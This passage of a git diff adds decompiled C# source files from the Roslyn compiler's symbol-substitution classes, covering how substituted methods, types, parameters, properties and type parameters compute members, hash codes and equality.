ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedMethodSymbol.cs", 355); + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedMethodSymbol.cs", 358); + } + + private int ComputeHashCode() + { + int hashCode = OriginalDefinition.GetHashCode(); + int hashCode2; + if (OriginalDefinition is SynthesizedGlobalMethodSymbol synthesizedGlobalMethodSymbol) + { + hashCode2 = RuntimeHelpers.GetHashCode(synthesizedGlobalMethodSymbol.ContainingPrivateImplementationDetailsType); + } + else + { + hashCode2 = _containingType.GetHashCode(); + if (hashCode2 == OriginalDefinition.ContainingType.GetHashCode() && wasConstructedForAnnotations(this)) + { + return hashCode; + } + } + hashCode = Hash.Combine(hashCode2, hashCode); + if ((object)ConstructedFrom != this) + { + ImmutableArray.Enumerator enumerator = TypeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + hashCode = Hash.Combine(enumerator.Current.Type, hashCode); + } + } + if (hashCode == 0) + { + hashCode++; + } + return hashCode; + static bool wasConstructedForAnnotations(SubstitutedMethodSymbol method) + { + ImmutableArray typeArgumentsWithAnnotations = method.TypeArgumentsWithAnnotations; + ImmutableArray typeParameters = method.OriginalDefinition.TypeParameters; + for (int i = 0; i < typeArgumentsWithAnnotations.Length; i++) + { + if (!typeParameters[i].Equals(typeArgumentsWithAnnotations[i].Type, (TypeCompareKind)0)) + { + return false; + } + } + return true; + } + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + if (!(obj is MethodSymbol methodSymbol)) + { + return false; + } + if ((object)OriginalDefinition != methodSymbol.OriginalDefinition && OriginalDefinition != methodSymbol.OriginalDefinition) + { + return false; + } + if (!TypeSymbol.Equals(ContainingType, methodSymbol.ContainingType, compareKind)) + { + return false; + } + bool flag = (object)this == ConstructedFrom; + bool flag2 = (object)methodSymbol == methodSymbol.ConstructedFrom; + if (flag || flag2) + { + return flag && flag2; + } + int arity = Arity; + for (int i = 0; i < arity; i++) + { + if (!TypeArgumentsWithAnnotations[i].Equals(methodSymbol.TypeArgumentsWithAnnotations[i], compareKind)) + { + return false; + } + } + return true; + } + + public override int GetHashCode() + { + int num = _hashCode; + if (num == 0) + { + num = (_hashCode = ComputeHashCode()); + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNamedTypeSymbol.cs new file mode 100644 index 0000000..db26973 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNamedTypeSymbol.cs @@ -0,0 +1,438 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SubstitutedNamedTypeSymbol : WrappedNamedTypeSymbol +{ + private static readonly Func s_symbolAsMemberFunc = SymbolExtensions.SymbolAsMember; + + private readonly bool _unbound; + + private readonly TypeMap _inputMap; + + private readonly Symbol _newContainer; + + private TypeMap _lazyMap; + + private ImmutableArray _lazyTypeParameters; + + private NamedTypeSymbol _lazyBaseType = ErrorTypeSymbol.UnknownResultType; + + private int _hashCode; + + private ConcurrentCache> _lazyMembersByNameCache; + + private ImmutableArray _lazyMembers; + + public sealed override bool IsUnboundGenericType => _unbound; + + private TypeMap Map + { + get + { + EnsureMapAndTypeParameters(); + return _lazyMap; + } + } + + public sealed override ImmutableArray TypeParameters + { + get + { + EnsureMapAndTypeParameters(); + return _lazyTypeParameters; + } + } + + public sealed override Symbol ContainingSymbol => _newContainer; + + public override NamedTypeSymbol ContainingType => _newContainer as NamedTypeSymbol; + + public sealed override SymbolKind Kind => OriginalDefinition.Kind; + + public sealed override NamedTypeSymbol OriginalDefinition => _underlyingType; + + internal sealed override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics + { + get + { + if (_unbound) + { + return null; + } + if ((object)_lazyBaseType == ErrorTypeSymbol.UnknownResultType) + { + NamedTypeSymbol value = Map.SubstituteNamedType(OriginalDefinition.BaseTypeNoUseSiteDiagnostics); + Interlocked.CompareExchange(ref _lazyBaseType, value, ErrorTypeSymbol.UnknownResultType); + } + return _lazyBaseType; + } + } + + public sealed override IEnumerable MemberNames + { + get + { + if (_unbound) + { + return new List((from s in GetTypeMembersUnordered() + select s.Name).Distinct()); + } + if (IsTupleType) + { + return (from s in GetMembers() + select s.Name).Distinct(); + } + return OriginalDefinition.MemberNames; + } + } + + internal sealed override bool HasDeclaredRequiredMembers + { + get + { + if (!_unbound) + { + return OriginalDefinition.HasDeclaredRequiredMembers; + } + return false; + } + } + + public sealed override NamedTypeSymbol EnumUnderlyingType => OriginalDefinition.EnumUnderlyingType; + + internal sealed override TypeMap TypeSubstitution => Map; + + internal sealed override bool IsComImport => OriginalDefinition.IsComImport; + + internal sealed override NamedTypeSymbol ComImportCoClass => OriginalDefinition.ComImportCoClass; + + internal sealed override bool IsFileLocal => _underlyingType.IsFileLocal; + + internal sealed override FileIdentifier AssociatedFileIdentifier => _underlyingType.AssociatedFileIdentifier; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal sealed override bool IsRecord => _underlyingType.IsRecord; + + internal sealed override bool IsRecordStruct => _underlyingType.IsRecordStruct; + + protected SubstitutedNamedTypeSymbol(Symbol newContainer, TypeMap map, NamedTypeSymbol originalDefinition, NamedTypeSymbol constructedFrom = null, bool unbound = false, TupleExtraData tupleData = null) + : base(originalDefinition, tupleData) + { + _newContainer = newContainer; + _inputMap = map; + _unbound = unbound; + if ((object)constructedFrom != null) + { + _lazyTypeParameters = constructedFrom.TypeParameters; + _lazyMap = map; + } + } + + private void EnsureMapAndTypeParameters() + { + if (_lazyTypeParameters.IsDefault) + { + ImmutableArray newTypeParameters; + TypeMap value = _inputMap.WithAlphaRename(OriginalDefinition, this, out newTypeParameters); + TypeMap typeMap = Interlocked.CompareExchange(ref _lazyMap, value, null); + if (typeMap != null) + { + newTypeParameters = typeMap.SubstituteTypeParameters(OriginalDefinition.TypeParameters); + } + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeParameters, newTypeParameters, default(ImmutableArray)); + } + } + + internal sealed override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + if (!_unbound) + { + return Map.SubstituteNamedType(OriginalDefinition.GetDeclaredBaseType(basesBeingResolved)); + } + return null; + } + + internal sealed override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + if (!_unbound) + { + return Map.SubstituteNamedTypes(OriginalDefinition.GetDeclaredInterfaces(basesBeingResolved)); + } + return ImmutableArray.Empty; + } + + internal sealed override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + if (!_unbound) + { + return Map.SubstituteNamedTypes(OriginalDefinition.InterfacesNoUseSiteDiagnostics(basesBeingResolved)); + } + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 181); + } + + internal abstract override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes); + + public sealed override ImmutableArray GetAttributes() + { + return OriginalDefinition.GetAttributes(); + } + + internal sealed override ImmutableArray GetTypeMembersUnordered() + { + return ImmutableArrayExtensions.SelectAsArray(OriginalDefinition.GetTypeMembersUnordered(), (Func)((NamedTypeSymbol t, SubstitutedNamedTypeSymbol self) => t.AsMember(self)), this); + } + + public sealed override ImmutableArray GetTypeMembers() + { + return ImmutableArrayExtensions.SelectAsArray(OriginalDefinition.GetTypeMembers(), (Func)((NamedTypeSymbol t, SubstitutedNamedTypeSymbol self) => t.AsMember(self)), this); + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArrayExtensions.SelectAsArray(OriginalDefinition.GetTypeMembers(name), (Func)((NamedTypeSymbol t, SubstitutedNamedTypeSymbol self) => t.AsMember(self)), this); + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.SelectAsArray(OriginalDefinition.GetTypeMembers(name, arity), (Func)((NamedTypeSymbol t, SubstitutedNamedTypeSymbol self) => t.AsMember(self)), this); + } + + public sealed override ImmutableArray GetMembers() + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + if (!_lazyMembers.IsDefault) + { + return _lazyMembers; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (_unbound) + { + ImmutableArray.Enumerator enumerator = OriginalDefinition.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 11) + { + instance.Add((Symbol)((NamedTypeSymbol)current).AsMember(this)); + } + } + } + else + { + ImmutableArray.Enumerator enumerator = OriginalDefinition.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + instance.Add(current2.SymbolAsMember(this)); + } + } + instance = AddOrWrapTupleMembersIfNecessary(instance); + ImmutableArray value = instance.ToImmutableAndFree(); + ImmutableInterlocked.InterlockedInitialize(ref _lazyMembers, value); + return _lazyMembers; + } + + private ArrayBuilder AddOrWrapTupleMembersIfNecessary(ArrayBuilder builder) + { + if (IsTupleType) + { + ImmutableArray currentMembers = builder.ToImmutableAndFree(); + HashSet hashSet = new HashSet((IEqualityComparer?)ReferenceEqualityComparer.Instance); + builder = MakeSynthesizedTupleMembers(currentMembers, hashSet); + ImmutableArray.Enumerator enumerator = currentMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!hashSet.Contains(current)) + { + builder.Add(current); + } + } + } + return builder; + } + + internal sealed override ImmutableArray GetMembersUnordered() + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (_unbound) + { + ImmutableArray.Enumerator enumerator = OriginalDefinition.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 11) + { + instance.Add((Symbol)((NamedTypeSymbol)current).AsMember(this)); + } + } + } + else + { + ImmutableArray.Enumerator enumerator = OriginalDefinition.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + instance.Add(current2.SymbolAsMember(this)); + } + } + instance = AddOrWrapTupleMembersIfNecessary(instance); + return instance.ToImmutableAndFree(); + } + + public sealed override ImmutableArray GetMembers(string name) + { + if (_unbound) + { + return StaticCast.From(GetTypeMembers(name)); + } + ConcurrentCache> lazyMembersByNameCache = _lazyMembersByNameCache; + ImmutableArray result = default(ImmutableArray); + if (lazyMembersByNameCache != null && lazyMembersByNameCache.TryGetValue(name, ref result)) + { + return result; + } + return GetMembersWorker(name); + } + + private ImmutableArray GetMembersWorker(string name) + { + if (IsTupleType) + { + ImmutableArray result = ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol m, string text) => m.Name == text), name); + cacheResult(result); + return result; + } + ImmutableArray members = OriginalDefinition.GetMembers(name); + if (members.IsDefaultOrEmpty) + { + return members; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(members.Length); + ImmutableArray.Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance.Add(current.SymbolAsMember(this)); + } + ImmutableArray result2 = instance.ToImmutableAndFree(); + cacheResult(result2); + return result2; + void cacheResult(ImmutableArray immutableArray) + { + (_lazyMembersByNameCache ?? (_lazyMembersByNameCache = new ConcurrentCache>(8))).TryAdd(name, immutableArray); + } + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + if (_unbound) + { + yield break; + } + foreach (var item5 in OriginalDefinition.SynthesizedInterfaceMethodImpls()) + { + MethodSymbol item = item5.Body; + MethodSymbol item2 = item5.Implemented; + MethodSymbol item3 = ExplicitInterfaceHelpers.SubstituteExplicitInterfaceImplementation(item, TypeSubstitution); + MethodSymbol item4 = ExplicitInterfaceHelpers.SubstituteExplicitInterfaceImplementation(item2, TypeSubstitution); + yield return (Body: item3, Implemented: item4); + } + } + + internal override IEnumerable GetFieldsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 384); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + if (!_unbound) + { + return ImmutableArrayExtensions.SelectAsArray(OriginalDefinition.GetEarlyAttributeDecodingMembers(), s_symbolAsMemberFunc, (NamedTypeSymbol)this); + } + return GetMembers(); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + if (_unbound) + { + return GetMembers(name); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = OriginalDefinition.GetEarlyAttributeDecodingMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance.Add(current.SymbolAsMember(this)); + } + return instance.ToImmutableAndFree(); + } + + public override int GetHashCode() + { + if (_hashCode == 0) + { + _hashCode = this.ComputeHashCode(); + } + return _hashCode; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + return _underlyingType.HasCollectionBuilderAttribute(out builderType, out methodName); + } + + internal override IEnumerable GetMethodsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 449); + } + + internal override IEnumerable GetEventsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 454); + } + + internal override IEnumerable GetPropertiesToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 459); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 464); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SubstitutedNamedTypeSymbol.cs", 470); + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return _underlyingType.HasPossibleWellKnownCloneMethod(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + return _underlyingType.HasInlineArrayAttribute(out length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedErrorTypeSymbol.cs new file mode 100644 index 0000000..f027602 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedErrorTypeSymbol.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedNestedErrorTypeSymbol : SubstitutedErrorTypeSymbol +{ + private readonly NamedTypeSymbol _containingSymbol; + + private readonly ImmutableArray _typeParameters; + + private readonly TypeMap _map; + + public override ImmutableArray TypeParameters => _typeParameters; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override NamedTypeSymbol ConstructedFrom => this; + + public override Symbol ContainingSymbol => _containingSymbol; + + internal override TypeMap TypeSubstitution => _map; + + public SubstitutedNestedErrorTypeSymbol(NamedTypeSymbol containingSymbol, ErrorTypeSymbol originalDefinition) + : base(originalDefinition) + { + _containingSymbol = containingSymbol; + _map = containingSymbol.TypeSubstitution.WithAlphaRename(originalDefinition, this, out _typeParameters); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorTypeSymbol.cs", 727); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedTypeSymbol.cs new file mode 100644 index 0000000..0fdc74c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedNestedTypeSymbol.cs @@ -0,0 +1,35 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedNestedTypeSymbol : SubstitutedNamedTypeSymbol +{ + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override NamedTypeSymbol ConstructedFrom => this; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ConstructedNamedTypeSymbol.cs", 45); + } + } + + internal SubstitutedNestedTypeSymbol(SubstitutedNamedTypeSymbol newContainer, NamedTypeSymbol originalDefinition) + : base(newContainer, newContainer.TypeSubstitution, originalDefinition, null, newContainer.IsUnboundGenericType && originalDefinition.Arity == 0) + { + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + return OriginalDefinition.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ConstructedNamedTypeSymbol.cs", 50); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedParameterSymbol.cs new file mode 100644 index 0000000..e3224fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedParameterSymbol.cs @@ -0,0 +1,93 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedParameterSymbol : WrappedParameterSymbol +{ + private object _mapOrType; + + private readonly Symbol _containingSymbol; + + public override ParameterSymbol OriginalDefinition => _underlyingParameter.OriginalDefinition; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + object mapOrType = _mapOrType; + if (mapOrType is TypeWithAnnotations) + { + return (TypeWithAnnotations)mapOrType; + } + TypeWithAnnotations typeWithAnnotations = ((TypeMap)mapOrType).SubstituteType(_underlyingParameter.TypeWithAnnotations); + if (typeWithAnnotations.CustomModifiers.IsEmpty && _underlyingParameter.TypeWithAnnotations.CustomModifiers.IsEmpty && _underlyingParameter.RefCustomModifiers.IsEmpty) + { + _mapOrType = typeWithAnnotations; + } + return typeWithAnnotations; + } + } + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => _underlyingParameter.InterpolatedStringHandlerArgumentIndexes; + + internal override bool HasInterpolatedStringHandlerArgumentError => _underlyingParameter.HasInterpolatedStringHandlerArgumentError; + + public override ImmutableArray RefCustomModifiers + { + get + { + if (!(_mapOrType is TypeMap typeMap)) + { + return _underlyingParameter.RefCustomModifiers; + } + return typeMap.SubstituteCustomModifiers(_underlyingParameter.RefCustomModifiers); + } + } + + internal override bool IsCallerLineNumber => _underlyingParameter.IsCallerLineNumber; + + internal override bool IsCallerFilePath => _underlyingParameter.IsCallerFilePath; + + internal override bool IsCallerMemberName => _underlyingParameter.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => _underlyingParameter.CallerArgumentExpressionParameterIndex; + + internal SubstitutedParameterSymbol(MethodSymbol containingSymbol, TypeMap map, ParameterSymbol originalParameter) + : this((Symbol)containingSymbol, map, originalParameter) + { + } + + internal SubstitutedParameterSymbol(PropertySymbol containingSymbol, TypeMap map, ParameterSymbol originalParameter) + : this((Symbol)containingSymbol, map, originalParameter) + { + } + + private SubstitutedParameterSymbol(Symbol containingSymbol, TypeMap map, ParameterSymbol originalParameter) + : base(originalParameter) + { + _containingSymbol = containingSymbol; + _mapOrType = map; + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is SubstitutedParameterSymbol substitutedParameterSymbol && Ordinal == substitutedParameterSymbol.Ordinal) + { + return ContainingSymbol.Equals(substitutedParameterSymbol.ContainingSymbol, compareKind); + } + return false; + } + + public sealed override int GetHashCode() + { + return Hash.Combine(ContainingSymbol, _underlyingParameter.Ordinal); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedPropertySymbol.cs new file mode 100644 index 0000000..705a8e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedPropertySymbol.cs @@ -0,0 +1,109 @@ +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedPropertySymbol : WrappedPropertySymbol +{ + private readonly SubstitutedNamedTypeSymbol _containingType; + + private TypeWithAnnotations.Boxed _lazyType; + + private ImmutableArray _lazyParameters; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private OverriddenOrHiddenMembersResult _lazyOverriddenOrHiddenMembers; + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + if (_lazyType == null) + { + TypeWithAnnotations value = _containingType.TypeSubstitution.SubstituteType(OriginalDefinition.TypeWithAnnotations); + Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(value), null); + } + return _lazyType.Value; + } + } + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override PropertySymbol OriginalDefinition => _underlyingProperty; + + public override ImmutableArray RefCustomModifiers => _containingType.TypeSubstitution.SubstituteCustomModifiers(OriginalDefinition.RefCustomModifiers); + + public override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyParameters, SubstituteParameters(), default(ImmutableArray)); + } + return _lazyParameters; + } + } + + public override MethodSymbol GetMethod => OriginalDefinition.GetMethod?.AsMember(_containingType); + + public override MethodSymbol SetMethod => OriginalDefinition.SetMethod?.AsMember(_containingType); + + internal override bool IsExplicitInterfaceImplementation => OriginalDefinition.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, ExplicitInterfaceHelpers.SubstituteExplicitInterfaceImplementations(OriginalDefinition.ExplicitInterfaceImplementations, _containingType.TypeSubstitution), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + internal override bool MustCallMethodsDirectly => OriginalDefinition.MustCallMethodsDirectly; + + internal override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + internal SubstitutedPropertySymbol(SubstitutedNamedTypeSymbol containingType, PropertySymbol originalDefinition) + : base(originalDefinition) + { + _containingType = containingType; + } + + public override ImmutableArray GetAttributes() + { + return OriginalDefinition.GetAttributes(); + } + + private ImmutableArray SubstituteParameters() + { + ImmutableArray parameters = OriginalDefinition.Parameters; + if (parameters.IsEmpty) + { + return parameters; + } + int length = parameters.Length; + ParameterSymbol[] array = new ParameterSymbol[length]; + for (int i = 0; i < length; i++) + { + array[i] = new SubstitutedParameterSymbol(this, _containingType.TypeSubstitution, parameters[i]); + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedTypeParameterSymbol.cs new file mode 100644 index 0000000..089dde3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedTypeParameterSymbol.cs @@ -0,0 +1,136 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SubstitutedTypeParameterSymbol : WrappedTypeParameterSymbol +{ + private readonly Symbol _container; + + private readonly TypeMap _map; + + private readonly int _ordinal; + + public override Symbol ContainingSymbol => _container; + + public override TypeParameterSymbol OriginalDefinition + { + get + { + if (!(ContainingSymbol.OriginalDefinition != _underlyingTypeParameter.ContainingSymbol.OriginalDefinition)) + { + return _underlyingTypeParameter.OriginalDefinition; + } + return this; + } + } + + public override TypeParameterSymbol ReducedFrom + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)_container.Kind == 9) + { + MethodSymbol reducedFrom = ((MethodSymbol)_container).ReducedFrom; + if ((object)reducedFrom != null) + { + return reducedFrom.TypeParameters[Ordinal]; + } + } + return null; + } + } + + public override int Ordinal => _ordinal; + + public override string Name => base.Name; + + internal override bool? IsNotNullable + { + get + { + if (_underlyingTypeParameter.ConstraintTypesNoUseSiteDiagnostics.IsEmpty) + { + return _underlyingTypeParameter.IsNotNullable; + } + if (!HasNotNullConstraint && !HasValueTypeConstraint && !HasReferenceTypeConstraint) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _map.SubstituteConstraintTypesDistinctWithoutModifiers(_underlyingTypeParameter, _underlyingTypeParameter.GetConstraintTypes(ConsList.Empty), instance, null); + return TypeParameterSymbol.IsNotNullableFromConstraintTypes(instance.ToImmutableAndFree()); + } + return CalculateIsNotNullable(); + } + } + + internal override CSharpCompilation DeclaringCompilation => ContainingSymbol.DeclaringCompilation; + + internal SubstitutedTypeParameterSymbol(Symbol newContainer, TypeMap map, TypeParameterSymbol substitutedFrom, int ordinal) + : base(substitutedFrom) + { + _container = newContainer; + _map = map; + _ordinal = ordinal; + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _map.SubstituteConstraintTypesDistinctWithoutModifiers(_underlyingTypeParameter, _underlyingTypeParameter.GetConstraintTypes(inProgress), instance, null); + TypeWithAnnotations bestObjectConstraint = default(TypeWithAnnotations); + for (int num = instance.Count - 1; num >= 0; num--) + { + if (ConstraintsHelper.IsObjectConstraint(instance[num], ref bestObjectConstraint)) + { + instance.RemoveAt(num); + } + } + if (bestObjectConstraint.HasType && ConstraintsHelper.IsObjectConstraintSignificant(CalculateIsNotNullableFromNonTypeConstraints(), bestObjectConstraint)) + { + if (instance.Count == 0) + { + if (bestObjectConstraint.NullableAnnotation.IsOblivious() && !HasReferenceTypeConstraint) + { + bestObjectConstraint = default(TypeWithAnnotations); + } + } + else + { + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!ConstraintsHelper.IsObjectConstraintSignificant(TypeParameterSymbol.IsNotNullableFromConstraintType(enumerator.Current, out var _), bestObjectConstraint)) + { + bestObjectConstraint = default(TypeWithAnnotations); + break; + } + } + } + if (bestObjectConstraint.HasType) + { + instance.Insert(0, bestObjectConstraint); + } + } + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return _map.SubstituteNamedTypes(_underlyingTypeParameter.GetInterfaces(inProgress)); + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return _map.SubstituteNamedType(_underlyingTypeParameter.GetEffectiveBaseClass(inProgress)); + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return _map.SubstituteType(_underlyingTypeParameter.GetDeducedBaseType(inProgress)).AsTypeSymbolOnly(); + } +} diff --git 